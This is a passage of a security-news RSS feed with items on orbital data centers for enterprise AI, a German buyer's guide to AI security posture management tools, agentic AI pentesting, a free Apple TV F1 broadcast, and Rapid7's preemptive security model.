<p>A fourth is telecom and network optimization. As satellite communications networks expand, AI-enabled infrastructure in orbit could support routing, anomaly detection, cybersecurity, spectrum management and service continuity.</p>



<p>A fifth is climate and Earth intelligence. Space-based data centers could process environmental, geospatial and atmospheric data closer to collection points, supporting faster insight for governments, insurers, energy companies, agriculture, logistics and emergency response teams.</p>



<p>These are not general-purpose enterprise workloads. They are high-value workloads where resilience, coverage, autonomy or data proximity matters.</p>



<p>That is exactly why CIOs should pay attention.</p>



<h2 class="wp-block-heading">This is not about replacing the cloud</h2>



<p>The wrong way to frame space data centers is as a replacement for terrestrial cloud.</p>



<p>The better framing is augmentation.</p>



<p>Enterprise infrastructure is already becoming hybrid. Most large organizations operate across multiple environments: public cloud, private cloud, SaaS platforms, on-prem systems, edge devices and industry-specific infrastructure. AI is making this more complex, not less.</p>



<p>Space data centers could become another layer in this architecture. Not the dominant layer. Not the cheapest layer. Not the right layer for most workloads. But potentially a valuable layer for specific workloads that require resilience, continuity, global reach or infrastructure independence.</p>



<p>The cloud itself is no longer a single place. It is a distributed operating model. Cloud regions, edge zones, sovereign clouds, private AI clusters, telecom edge nodes and industrial compute platforms are all part of the same continuum.</p>



<p>Space extends that continuum.</p>



<p>For CIOs, the practical implication is that infrastructure strategy should move from a cloud-first mindset to a workload-first mindset. The question is not “Should this run in the cloud?” The question is “Where should this workload run to deliver the best combination of performance, cost, security, resilience, compliance and control?”</p>



<p>For most workloads, the answer will remain Earth-based cloud or private infrastructure. For some, it will be the edge. For a future subset, orbit may become a viable answer.</p>



<h2 class="wp-block-heading">Enterprise AI infrastructure strategy is becoming multi-layered</h2>



<p>The rise of AI is forcing enterprises to rethink architecture in deeper ways.</p>



<p>AI is not just another application layer. It is becoming embedded into decision-making, operations, customer engagement, cybersecurity, supply chains, engineering, finance, compliance and mission-critical workflows. As AI becomes operational, the infrastructure underneath it becomes more strategic.</p>



<p>A chatbot can tolerate occasional downtime. A mission-critical AI system supporting telecom routing, energy operations, logistics resilience or defense intelligence cannot. A productivity copilot can depend on a standard cloud region. An autonomous system operating in a disconnected or contested environment may require local intelligence, secure audit trails and resilient infrastructure.</p>



<p>This is why enterprise AI infrastructure strategy is becoming multi-layered.</p>



<p>CIOs will need to think across several layers. Hyperscale cloud will remain essential for experimentation, scalability and access to AI platforms. Sovereign cloud will matter for regulated industries and public sector workloads. Private infrastructure will become important where data control, predictable cost or customization matters. Edge AI will expand wherever latency, autonomy or local decision-making is required.</p>



<p>Orbital infrastructure could eventually sit alongside these layers as a resilience and reach layer.</p>



<p>This does not mean CIOs need to budget for space data centers today. But they should begin to understand the direction of travel. The enterprise infrastructure map is expanding. AI workloads will not be placed in one environment by default. They will be distributed according to risk, performance, control and mission criticality.</p>



<p>The organizations that understand this early will be better prepared for the next phase of infrastructure competition.</p>



<h2 class="wp-block-heading">The strategic lens is optionality and control</h2>



<p>The most useful way for CIOs to think about space data centers is not novelty. It is optionality and control.</p>



<p>Space data centers could give enterprises another placement option for AI and data workloads, alongside hyperscale cloud, sovereign cloud, private infrastructure and edge environments. That matters because the future of enterprise AI will not be defined only by model performance. It will also be defined by where intelligence runs, who controls the infrastructure, how decisions are audited and whether critical systems can continue operating when terrestrial networks, regions or facilities are disrupted.</p>



<p>This is especially relevant for sectors where infrastructure failure carries outsized consequences: defense, telecom, energy, financial services, logistics, insurance, government, emergency response and critical infrastructure.</p>



<p>For these organizations, resilience is not a technical preference. It is an operating requirement.</p>



<p>CIOs should begin asking several strategic questions:</p>



<p>Which AI workloads are becoming mission-critical? Which systems need to operate even if a region, network or cloud provider is disrupted? Which data needs additional resilience beyond terrestrial infrastructure? Which workloads depend on global coverage or space-based data? Which AI decisions require verifiable audit trails? Which infrastructure dependencies create unacceptable concentration risk?</p>



<p>These questions are not only about space. They are about the future of <a href="https://www.cio.com/article/4157352/ai-is-no-longer-software-its-enterprise-infrastructure.html">enterprise AI architecture</a>.</p>



<p>Space data centers are simply making the issue more visible.</p>



<h2 class="wp-block-heading">Why CIOs should care now</h2>



<p>It would be easy to dismiss orbital data centers as too early for enterprise attention. In one sense, that is correct. Most CIOs have immediate priorities: AI governance, cloud cost control, cybersecurity, data modernization, application rationalization, regulatory compliance and talent gaps.</p>



<p>But strategic infrastructure shifts often look distant before they become unavoidable.</p>



<p>The CIOs who understood cloud early were better positioned when cloud became mainstream. The CIOs who understood mobile early were better prepared when workforces and customers moved to mobile-first interaction. The CIOs who understood cybersecurity as an enterprise risk, rather than an IT function, were better prepared for the threat landscape that followed.</p>



<p>Space-based infrastructure may follow a similar pattern.</p>



<p>The near-term task is not adoption. It is awareness, scenario planning and architectural readiness.</p>



<p>CIOs should track the development of space data centers, satellite AI, orbital compute, space-based storage and AI-enabled communications infrastructure. They should monitor which industries adopt these capabilities first. They should identify whether their own organizations have workloads where resilience, distributed compute, sovereign control or global coverage could justify future interest.</p>



<p>Most importantly, they should update their mental model of infrastructure.</p>



<p>The future of enterprise AI will not live entirely in one cloud, one data center, one country or one architecture. It will be distributed across environments designed for different operational needs.</p>



<p>Some intelligence will run in hyperscale cloud. Some will run in private AI factories. Some will run at the edge. Some will run in sovereign environments. And one day, some may run in orbit.</p>



<p>Your next data center may not be on Earth.</p>



<p>For CIOs, the message is not to chase the hype. It is to recognize the direction of infrastructure: more distributed, more resilient, more sovereign, more autonomous and increasingly shaped by the demands of AI.</p>



<p>The cloud is no longer just a place. It is becoming a fabric. And soon, that fabric may extend into space.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security-Tools für KI-Infrastrukturen – ein Kaufratgeber]]></title>
<description><![CDATA[Tools, die die KI-Infrastruktur unter die Lupe nehmen, optimieren und absichern, liegen im Trend. Unser Ratgeber führt Sie zur richtigen AI-Security-Posture-Management-Lösung.Julien Tromeur | shutterstock.com



Weil sich Generative-AI-Lösungen branchenübergreifend verbreiten, wächst das Sicherhe...]]></description>
<link>https://tsecurity.de/de/3609302/it-security-nachrichten/security-tools-fuer-ki-infrastrukturen-ein-kaufratgeber/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3609302/it-security-nachrichten/security-tools-fuer-ki-infrastrukturen-ein-kaufratgeber/</guid>
<pubDate>Fri, 19 Jun 2026 05:20:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2024/10/1200x_6b59cb.png?w=1024" alt="KI-Infrastrukturen" class="wp-image-3560127" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Tools, die die KI-Infrastruktur unter die Lupe nehmen, optimieren und absichern, liegen im Trend. Unser Ratgeber führt Sie zur richtigen AI-Security-Posture-Management-Lösung.</figcaption></figure><p class="imageCredit">Julien Tromeur | shutterstock.com</p></div>



<p>Weil sich Generative-AI-Lösungen branchenübergreifend verbreiten, wächst das Sicherheitsbedürfnis der Anwender. Diesem gerecht zu werden, ist vor allem deshalb eine Challenge, weil die Technologie enormen Einfluss auf die IT-Infrastruktur und die Unternehmensdaten nimmt. Und weil kriminelle Cyberakteure längst erkannt haben, welches <a href="https://www.computerwoche.de/article/4155663/6-wege-uber-ki-gehackt-zu-werden.html" target="_blank">Potenzial</a> für sie in diesem Umstand schlummert.</p>



<p>Gefragt sind deshalb neue, breit gefächerte Schutz- und Notfallmaßnahmen sowie Sicherheitssoftware, die spezifisch darauf ausgelegt ist, KI-Infrastrukturen abzusichern. Das hat längst diverse Cybersecurity-Anbieter dazu bewogen, entsprechende Lösungen zu entwickeln. Oder bestehende Produkte mit entsprechenden Features anzureichern. Dieses Wachstumssegment des Security-Markts läuft auch unter der Bezeichnung “AI Security Posture Management” – kurz AI-SPM.</p>



<p>In diesem Artikel erfahren Sie:</p>



<ul class="wp-block-list">
<li>was Security-Lösungen ausmacht, die KI-Infrastrukturen absichern.</li>



<li>was AI-SPM-Tools leisten sollten und</li>



<li>welche Anbieter und Produkte in diesem Bereich wichtig sind.</li>
</ul>



<h2 class="wp-block-heading">CSPM, DSPM und AI-SPM</h2>



<p>AI Security Posture Management fokussiert darauf, die Integrität und Sicherheit von KI- und ML-Systemen zu gewährleisten. Dabei umfasst AI-SPM Strategien, Tools und Techniken, um Daten, Pipelines, Applikationen und Services mit Blick auf ihre Sicherheitslage:</p>



<ul class="wp-block-list">
<li>zu überwachen,</li>



<li>zu bewerten und</li>



<li>zu optimieren.</li>
</ul>



<p>Bisher wurden Security Posture Management Tools für zwei separate Bereiche entwickelt:</p>



<ul class="wp-block-list">
<li>Cloud Security Posture Management (CSPM-) Tools sollen den Cloud-Betrieb allgemein absichern, in erster Linie gegen Fehlkonfigurationen und Missbrauch.</li>



<li><a href="https://www.csoonline.com/article/3493645/data-security-posture-management-die-besten-dspm-tools.html" target="_blank">Data Security Posture Management</a> (DSPM-) Tools sollen vor Datenlecks und Malware-Infektionen schützen.</li>
</ul>



<p>Das Aufkommen von künstlicher Intelligenz (KI) und Large Language Models (LLMs) hat Bedarf für eine dritte Produktkategorie geschaffen, die gemanagte KI-Cloud-Services und ihre SDKs (beispielsweise Hugging Face Transformer oder Azure Open AI) überwacht und KI-Modellmissbrauch verhindert – AI-SPM.</p>



<p>Dass das nötig war, unterstreichen diverse Research-Erkenntnisse, -Beiträge und weitere Ressourcen:</p>



<ul class="wp-block-list">
<li>Eine <a href="https://konghq.com/resources/reports/ai-and-api-adoption-challenges" target="_blank" rel="noreferrer noopener">Studie des API-Spezialisten Kong</a> (Download gegen Daten) kommt zu dem Ergebnis, dass eine Mehrheit der Befragten Wege gefunden hat, Beschränkungen mit Blick auf die KI-Nutzung zu umgehen. Ein Viertel muss sich erst gar nicht mit so etwas wie Guidelines herumschlagen.</li>



<li>Die Non-Profit-Organisation MITRE stellt mit seiner <a href="https://atlas.mitre.org/" target="_blank" rel="noreferrer noopener">Adversarial Threat Landscape for Artificial Intelligence Systems</a> (ATLAS) eine umfassende Datenbank mit Angriffstaktiken zur Verfügung, die auf “in the wild”-Beobachtungen beruht.</li>



<li>Auch das MIT betreibt <a href="https://airisk.mit.edu/" target="_blank" rel="noreferrer noopener">eine aktive Datenbank</a>, die mehr als 1.700 Risiken in Zusammenhang mit KI-Systemen bereithält.</li>



<li>Eine weitere Quelle, um sich mit KI-bezogenen Angriffsmethoden auseinanderzusetzen, bietet das 2023 von OWASP veröffentlichte <a href="https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-2023-v1_1.pdf" target="_blank" rel="noreferrer noopener">LLM-Exploit-Ranking</a> (PDF). Die Non-Profit-Organisation hat zudem <a href="https://www.csoonline.com/article/3493126/genai-security-als-checkliste.html" target="_blank">eine Checkliste für GenAI-Sicherheit</a> veröffentlicht.</li>
</ul>



<p>Sich mit diesen Quellen auseinanderzusetzen, empfiehlt sich, bevor Sie sich für ein Sicherheits-Tool oder -Feature aus dem Bereich AI-SPM entscheiden.</p>



<h2 class="wp-block-heading">Was Security Posture Management für KI leisten sollte</h2>



<p>Tools im Bereich AI Security Posture Management:</p>



<ul class="wp-block-list">
<li>bieten im Regelfall agentenlose Konfigurationen,</li>



<li>greifen auf Cloud-basierte Modelle zu und</li>



<li>belassen Daten auf den vorhandenen Plattformen.</li>
</ul>



<p>Letzteres dient sowohl der Sicherheit als auch dazu, die Verlagerung der damit verbundenen, massiven Datenbestände zu vermeiden. Darüber hinaus spielen bei Security-Tools für KI-Infrastrukturen natürlich auch <strong>KI-bezogene Funktionen</strong> eine Rolle. Zum Beispiel um große Datenmengen zu klassifizieren, zu tracken und gegen mögliche Missbrauchs- und Angriffsversuche <a href="https://www.csoonline.com/article/3493625/studie-it-security-trends-2024mehr-schutz-gegen-und-fur-ki.html" target="_blank">abzusichern</a>.</p>



<p>Einige Anbieter haben ihre bestehenden CSPM- oder DSPM-Lösungen um AI-SPM-Features erweitert – inklusive <a href="https://www.csoonline.com/article/3495375/third-party-risk-management-so-vermeiden-sie-compliance-unheil.html" target="_blank">Compliance-Prüfverfahren</a>, Best Practices und Richtlinien, die alle drei Security-Posture-Management-Arten abdecken. Andere offerieren umfassendere Lösungen, die eine Vielzahl KI-bezogener Sicherheitsmaßnahmen beinhalten. Zum Beispiel, um:</p>



<ul class="wp-block-list">
<li>KI-Pipelines und Workloads schützen,</li>



<li>zu erkennen, wenn KI-Modelle sensible Daten referenzieren,</li>



<li>Trainingsdaten auf Manipulationen durch Dritte oder externe Applikationen zu überprüfen, und</li>



<li>KI-Services und -Plattformen abzusichern.</li>
</ul>



<h2 class="wp-block-heading">Wichtige AI-SPM-Anbieter</h2>



<p>Im Folgenden haben wir die AI-SPM-Produkte und -Features neun verschiedener Anbieter für Sie zusammengefasst. Sämtliche Lösungen versprechen, Ihre KI-Infrastruktur abzusichern, verlassen sich dazu jedoch auf unterschiedliche Ansätze. Dabei ist zu beachten, dass es sich um einen Markt handelt, der im Wachstum begriffen ist. Die Produkte sind also noch nicht so umfassend ausgestaltet und integriert, wie sie sein könnten. Zudem arbeiten diverse weitere Sicherheitsanbieter aktiv an ähnlichen Offerings.</p>



<ul class="wp-block-list">
<li><strong><a href="https://www.cyera.io/platform/dspm" target="_blank" rel="noreferrer noopener">Cyera.io</a></strong> ist auf Datenklassifizierung spezialisiert und hat eine DSPM-Plattform im Angebot, die um AI-SPM-Features erweitert wird. Die Lösung verspricht beispielsweise Einblicke, auf welche Datenklassen und Data Stores Microsoft-Copilot-Nutzer zugreifen können.</li>



<li><strong><a href="https://www.legitsecurity.com/ai-discovery" target="_blank" rel="noreferrer noopener">LegitSecurity</a></strong> hat sich auf die Fahnen geschrieben, das “AI Visibility Gap” schließen zu wollen. Dazu untersucht die AI-SPM-Plattform KI-Modelle, Code Repositories, kryptografische Secrets und andere KI-bezogene Instanzen. Auf dieser Grundlage entstehen schließlich Risk Scores, um entsprechend priorisieren zu können. Mit dieser Lösung können Sie beispielsweise nachvollziehen, welche User Github Copilot auf der Basis von unsicheren KI-Modellen verwenden.</li>



<li><strong><a href="https://learn.microsoft.com/en-us/azure/defender-for-cloud/ai-security-posture" target="_blank" rel="noreferrer noopener">Microsoft</a></strong> stellt AI-Security-Posture-Management-Funktionen im Rahmen einer Preview für sein CSPM-Angebot zur Verfügung. Das fertige Produkt soll Ende 2024 zur Verfügung stehen und zum Einsatz kommen, um GenAI-Applikationen in Multi- oder Hybrid-Cloud-Szenarien abzusichern. Dazu wird zum Beispiel eine GenAI-Softwarestückliste (AI BOM) erfasst.</li>



<li><strong><a href="https://orca.security/platform/ai-security-posture-management/" target="_blank" rel="noreferrer noopener">Orca Security</a></strong> verspricht mit seiner Mehrzweck-Sicherheitsplattform unter anderem eine “Ende-zu-Ende”-AI-SPM-Lösung. Diese scannt unter anderem mehr als 50 verschiedene KI-Modellquellen und schlägt Alarm, wenn sie dort – oder in Trainingsdaten-Repositories – sensible Informationen oder Geheimnisse entdeckt.</li>



<li><strong><a href="https://www.paloaltonetworks.com/prisma/cloud/ai-spm" target="_blank" rel="noreferrer noopener">Palo Alto Networks</a></strong> hat Ende 2023 die Übernahme des DSPM-Spezialisten Dig Security abgeschlossen und diesen inzwischen vollständig integriert. Das Ergebnis heißt Prisma Cloud AI-SPM und ermöglicht zum Beispiel Top-Level-Scans der KI-Services von AWS, Google Cloud und Azure. Zudem hat der Sicherheitsanbieter Mitte 2025 auch den KI-Sicherheitsanbieter Protect AI <a href="https://www.paloaltonetworks.com/company/press/2025/palo-alto-networks-completes-acquisition-of-protect-ai" target="_blank" rel="noreferrer noopener">übernommen</a>.</li>



<li><strong><a href="https://securiti.ai/products/ai-security-governance/" target="_blank" rel="noreferrer noopener">Securiti.ai</a></strong> verspricht mit seinem Produkt “AI Security &amp; Governance” Schutz für KI-Instanzen. Dieses ermöglicht zum Beispiel KI-Modellrisiken zu bewerten und zu klassifizieren, Compliance-Prüfungen vorzunehmen oder Kontrollmaßnahmen für Daten und KI-Systeme zu etablieren.</li>



<li><strong><a href="https://www.varonis.com/products/ai-security" target="_blank" rel="noreferrer noopener">Varonis</a></strong> hat seine Sicherheitsplattform ebenfalls um “AI Security” erweitert. Das ermöglicht unter anderem, risikobehaftete KI-Fehlkonfigurationen zu erkennen und zu beheben, KI-generierte Inhalte mit Sensibilitäts-Labels zu versehen sowie KI-Workloads oder Datenflüsse zu erkennen, die sensible Informationen beinhalten. Für Microsoft Copilot steht ein eigenes (aufpreispflichtiges) Modul <a href="https://www.varonis.com/de/coverage/microsoft-365-copilot" target="_blank" rel="noreferrer noopener">zur Verfügung</a> – demnächst sollen weitere für Salesforce Einstein und Google Gemini folgen.</li>



<li><strong><a href="https://www.wiz.io/de-de/solutions/ai-spm" target="_blank" rel="noreferrer noopener">Wiz Security</a></strong> verfügt über einschlägige DSPM- und CSPM-Erfahrungswerte und hat auch eine dedizierte KI-SPM-Lösung im Angebot. Diese verspricht zum Beispiel umfassende Einblicke in KI-Pipelines sowie Detektions-Möglichkeiten für Angriffspfade oder Fehlkonfigurationen.</li>
</ul>



<p><strong>Dieser Artikel ist <a href="https://www.csoonline.com/article/3518733/ai-spm-buyers-guide-artificial-intelligence-security-posture-management-tools-compared.html" target="_blank">im Original</a> bei unserer Schwesterpublikation CSOonline.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Growth of Vulnerability Management: The Rise of Agentic AI Pentesting]]></title>
<description><![CDATA[by Malana VanTyler
      
            Cybersecurity shifts fast. Manual penetration tests remain valuable, especially for nuanced attack paths and business-logic issues, but they are expensive, point-in-time, and difficult to run continuously. By the time a report is delivered, the environment ma...]]></description>
<link>https://tsecurity.de/de/3609089/unix-server/the-growth-of-vulnerability-management-the-rise-of-agentic-ai-pentesting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3609089/unix-server/the-growth-of-vulnerability-management-the-rise-of-agentic-ai-pentesting/</guid>
<pubDate>Fri, 19 Jun 2026 01:16:21 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-history-node-id="1341437" class="layout layout--onecol">
    <div class="layout__region layout__region--content">
      
            <div class="field field--name-field-node-image field--type-image field--label-hidden field--item">  <img loading="lazy" src="https://www.linuxjournal.com/sites/default/files/nodeimage/story/the-growth-of-vulnerability-management-the-rise-of-agentic-ai-pentesting.jpg" width="850" height="500" alt="The Growth of Vulnerability Management: The Rise of Agentic AI Pentesting" typeof="foaf:Image" class="img-responsive"></div>
      
            <div class="field field--name-node-author field--type-ds field--label-hidden field--item">by <a title="View user profile." href="https://www.linuxjournal.com/users/malana-vantyler" lang="" about="https://www.linuxjournal.com/users/malana-vantyler" typeof="schema:Person" property="schema:name" datatype="" xml:lang="">Malana VanTyler</a></div>
      
            <div class="field field--name-body field--type-text-with-summary field--label-hidden field--item"><p>Cybersecurity shifts fast. Manual penetration tests remain valuable, especially for nuanced attack paths and business-logic issues, but they are expensive, point-in-time, and difficult to run continuously. By the time a report is delivered, the environment may have already changed. Automated scanners improved coverage and frequency, but most still rely on known signatures, templated checks, and shallow validation. They can find obvious issues, but they rarely match the adaptive reasoning, chaining, and persistence of a skilled attacker.Platforms like <a href="https://xbow.com/">XBOW</a> help security teams move toward continuous validation by running AI-driven tests that mimic large-scale human attackers. This shift moves the focus from periodic assessment and reactive patching toward ongoing exposure management and earlier prevention.</p>

<h2>From Automation to Agency</h2>

<p>To appreciate the value of these modern platforms, it’s important to separate traditional automation from what is called “agentic” AI. Earlier AI pentesting tools mostly worked like advanced “if-then” systems, running preset scripts and looking for known patterns. While useful to automate some tasks pentesters perform, these tools lack the ability to pivot.</p>

<p>If a standard tool hits a non-standard login portal, it generally stops. An agent platform, however, can identify and adapt to the obstacle, reason through potential bypasses, and attempt alternative tactics.</p>

<p>This core differentiator is the “agent,” a specialized model capable of goal-oriented planning. These platforms employ real-time attack path analysis tools. They identify a low-severity vulnerability and assess whether it could be exploited to gain access</p>

<p>to a high-value asset. This approach imitates how an advanced attacker moves laterally within a system. The result is a clearer and more realistic view of the organization’s real risk compared to just listing bugs in a spreadsheet without context.</p>

<h2>Comparing Methodologies: Strategy and Execution</h2>

<p>When comparing platforms in this area, the industry is shifting focus from just ticking off features to demonstrating how effectively those features can be used. Modern platforms, including XBOW, focus on high-fidelity testing that avoids disrupting production environments while still proving that a vulnerability is reachable.</p>

<p>Three main architectural approaches have emerged as standouts:</p></div>
      
            <div class="field field--name-node-link field--type-ds field--label-hidden field--item">  <a href="https://www.linuxjournal.com/content/growth-vulnerability-management-rise-agentic-ai-pentesting" hreflang="en">Go to Full Article</a>
</div>
      
    </div>
  </div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple TV Will Stream the F1 Austrian Grand Prix for Free in the US]]></title>
<description><![CDATA[Apple TV will stream the Formula 1 Austrian Grand Prix completely for free in the United States, giving fans a full race weekend without requiring an Apple TV subscription.



The free coverage runs from June 26 to June 28, and this marks the first race weekend where Apple is putting more than pr...]]></description>
<link>https://tsecurity.de/de/3608993/ios-mac-os/apple-tv-will-stream-the-f1-austrian-grand-prix-for-free-in-the-us/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608993/ios-mac-os/apple-tv-will-stream-the-f1-austrian-grand-prix-for-free-in-the-us/</guid>
<pubDate>Thu, 18 Jun 2026 23:53:56 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple TV will stream the Formula 1 Austrian Grand Prix completely for free in the United States, giving fans a full race weekend without requiring an Apple TV subscription.



The free coverage runs from June 26 to June 28, and this marks the first race weekend where Apple is putting more than practice sessions in front of the paywall. Viewers will get access to Saturday qualifying and the Sunday race through the Apple TV app.



Fans only need the Apple TV app and a location inside the United States to watch the free F1 coverage. The app works on iPhone, iPad, Mac, Android, Windows, smart TVs, Roku, Amazon Fire TV, Xbox, PlayStation, and the web through tv.apple.com.



Austrian Grand Prix Schedule




Friday, June 26: Practice 1 at 7:30 a.m. ET



Friday, June 26: Practice 2 at 11:00 a.m. ET



Saturday, June 27: Practice 3 at 6:30 a.m. ET



Saturday, June 27: Qualifying at 10:00 a.m. ET



Sunday, June 28: Race at 9:00 a.m. ET




This free weekend gives Apple a chance to bring more casual viewers into F1 coverage while showing sports fans that the Apple TV app now has a bigger role in live racing.



Most F1 races this season still require an Apple TV subscription, so the Austrian Grand Prix stands out as a useful free preview for anyone who wants to watch before paying.]]></content:encoded>
</item>
<item>
<title><![CDATA[Why Security Teams Need To Start Earlier]]></title>
<description><![CDATA[Security leaders are facing an unusual set of circumstances. The drumbeat for better security prioritization has been rising for years in boardrooms around the world. The desire is there, but the processes of the past aren’t meeting the needs of the new moment we find ourselves in. That gap is no...]]></description>
<link>https://tsecurity.de/de/3608255/it-security-nachrichten/why-security-teams-need-to-start-earlier/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608255/it-security-nachrichten/why-security-teams-need-to-start-earlier/</guid>
<pubDate>Thu, 18 Jun 2026 17:26:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>Security leaders are facing an unusual set of circumstances. The drumbeat for better security prioritization has been rising for years in boardrooms around the world. The desire is there, but the processes of the past aren’t meeting the needs of the new moment we find ourselves in. </span></p><p><span>That gap is not a technology problem. It's an operating model problem.</span></p><p><span>At the opening keynote of </span><a href="https://rapid7.brighttalk.com/?utm_source=blog&amp;utm_medium=website&amp;utm_content=executive-pov&amp;utm_campaign=global-pla-2026-global-virtual-summit-prospect-eng" target="_blank"><span>Rapid7’s 2026 Global Cybersecurity Summit,</span></a><span> Craig Adams, Chief Product Officer, Rapid7, Brian Castagna, CSO, Rapid7 and IDC’s Research VP, Craig Robinson framed a simple idea: cyber defense needs to start earlier.</span></p><p><span>For more on this, download our new ebook, </span><a href="https://www.rapid7.com/lp/preemptive-security-from-resilience-to-action/?utm_source=blog&amp;utm_medium=website&amp;utm_content=post-summit-executive-pov&amp;utm_campaign=global-mdr-2026-global-virtual-summit-prospect-eng-nom-25" target="_self"><span>Preemptive Security: From Resilience to Action</span></a><span>.</span></p><h2>Complexity is outpacing control</h2><p><span>Security environments have never been more connected or more difficult to manage. Cloud adoption, SaaS sprawl, third-party dependencies, and identity growth have expanded the attack surface in ways most programs were not designed to handle. Many teams have responded by adding more tools and more telemetry. This has resulted in more fragmentation, more dashboards, and more opportunities for important information to slip through the cracks. </span></p><p><span>Teams are spending more time stitching context together than they are effectively reducing risk. This shows up in daily operations with analysts moving between multiple systems to validate alerts, and leaders lacking the clear picture to explain risk to the business. In a time when exposure management and detection &amp; response can live on one platform, that level of fragmentation makes no sense.</span></p><h2>Reactive security creates operational drag</h2><p><span>The traditional model still dominates most security programs. It goes like this (stop us if you’ve heard this before): 1) Detect an alert. 2) Investigate. 3) Contain. 4) Recover. 5) Repeat, forever. </span></p><p><span>Sounds simple, right? And it worked great when environments were simpler and attackers moved slower. That is no longer the case.</span></p><p><span>Today, initial access often happens quietly through identity abuse or misconfiguration. Attack paths form before an alert even fires. By the time a signal reaches the security team, attackers may already be moving laterally or accessing sensitive systems. This creates a cycle of constant response without consistent risk reduction. Teams get better at handling incidents but struggle to remove the conditions that enable them.</span></p><p><span>Security operations centers can receive thousands of alerts per day, many of which are low value or false positives. This leaves analysts spending hours triaging signals instead of focusing on the exposures most likely to lead to impact.</span></p><p><span>More alerts do not make you safer. They create drag. Better context creates better outcomes. </span></p><h2>The issue is prioritization, not visibility</h2><p><span>Most organizations are not lacking data. They are lacking the clarity needed to understand the data they have and contextualize it as it relates to their business. Telemetry alone does not answer the question that matters most: what should we do first?</span></p><p><span>Attackers look for the most effective path into an environment, often combining smaller weaknesses across assets, identities, and systems until they create meaningful access. Security teams need a similarly connected view, one that helps them understand which exposures are exploitable, which assets are most critical, and how those risks relate across the environment. When teams can see that full picture, they can focus remediation on the issues most likely to be used in a real attack, making risk reduction more targeted, efficient, and defensible. </span></p><p><span>The result is effort without impact.</span></p><h2>Why security needs to start earlier</h2><p><span>The </span><a href="https://rapid7.brighttalk.com/talk/10457-663128/?utm_source=blog&amp;utm_medium=website&amp;utm_content=executive-pov&amp;utm_campaign=global-pla-2026-global-virtual-summit-prospect-eng" target="_blank"><span>summit’s keynote</span></a><span> message is direct: meaningful action must move earlier in the lifecycle.</span></p><p><span>Preemptive Security introduces an operating model designed for that shift. It connects four core elements:</span></p><ul><li><p><span>Exposure management to identify and prioritize risk</span></p></li><li><p><span>Managed detection and response (MDR) to monitor and act</span></p></li><li><p><span>Artificial intelligence to reduce noise and accelerate analysis</span></p></li><li><p><span>Human expertise to validate and decide</span></p></li></ul><p><span>Together, these capabilities create a system that acts before risk becomes impact. Instead of waiting for alerts, teams identify likely breach paths. Instead of reacting to incidents, they reduce exposure ahead of time. Instead of managing disconnected tools, they operate with shared context and clear priorities. Detection and response becomes one leg of the stool with exposure management taking the lead in reducing risk before it becomes an emergency. </span></p><h2>What changes for security leaders</h2><p><span>For CISOs and security leaders, this shift means designing programs around likely attack paths, not isolated findings. It means prioritizing investments based on risk reduction, not tool coverage and enabling teams to act decisively without increasing headcount or complexity.</span></p><p><span>It also changes how success is measured. The goal is fewer surprises, faster containment and reduced exposure before exploitation. It means starting earlier, to increase the likelihood of success. These are outcomes the business understands.</span></p><h2>A new starting point for security</h2><p><span>Ultimately, the environment has changed faster than the operating model. So the operating model needs to change. Luckily, there’s a proven path forward that can prevent the attacks from bad actors already moving in earlier, using technology to scale their operations, and exploiting small weaknesses to get a foothold. </span></p><p><span>Preemptive Security provides the framework to close that gap. It helps teams reduce noise, focus on what matters, and act with confidence before disruption occurs. Security does not start with an alert. It starts with understanding risk early enough to do something about it.</span></p><p><a href="https://rapid7.brighttalk.com/talk/10457-663128/?utm_source=blog&amp;utm_medium=website&amp;utm_content=executive-pov&amp;utm_campaign=global-pla-2026-global-virtual-summit-prospect-eng" target="_blank"><span>Watch the keynote on demand </span></a><span>or </span>download the eBook,<span> </span><a href="https://www.rapid7.com/lp/preemptive-security-from-resilience-to-action/?utm_source=blog&amp;utm_medium=website&amp;utm_content=post-summit-executive-pov&amp;utm_campaign=global-mdr-2026-global-virtual-summit-prospect-eng-nom-25" target="_self"><span>Preemptive Security: From Resilience to Action</span></a><span>, to explore the model in more detail.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Glucose Tracking for Children Is Moving Into Apps and Smart Devices]]></title>
<description><![CDATA[Dexcom’s Stelo is the first over-the-counter continuous glucose monitor cleared for children. The FDA decision expands app-based glucose tracking to younger users, but schools, health care teams, and benefits leaders still need to account for device access, caregiver oversight, and coverage quest...]]></description>
<link>https://tsecurity.de/de/3608226/it-nachrichten/glucose-tracking-for-children-is-moving-into-apps-and-smart-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608226/it-nachrichten/glucose-tracking-for-children-is-moving-into-apps-and-smart-devices/</guid>
<pubDate>Thu, 18 Jun 2026 17:19:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
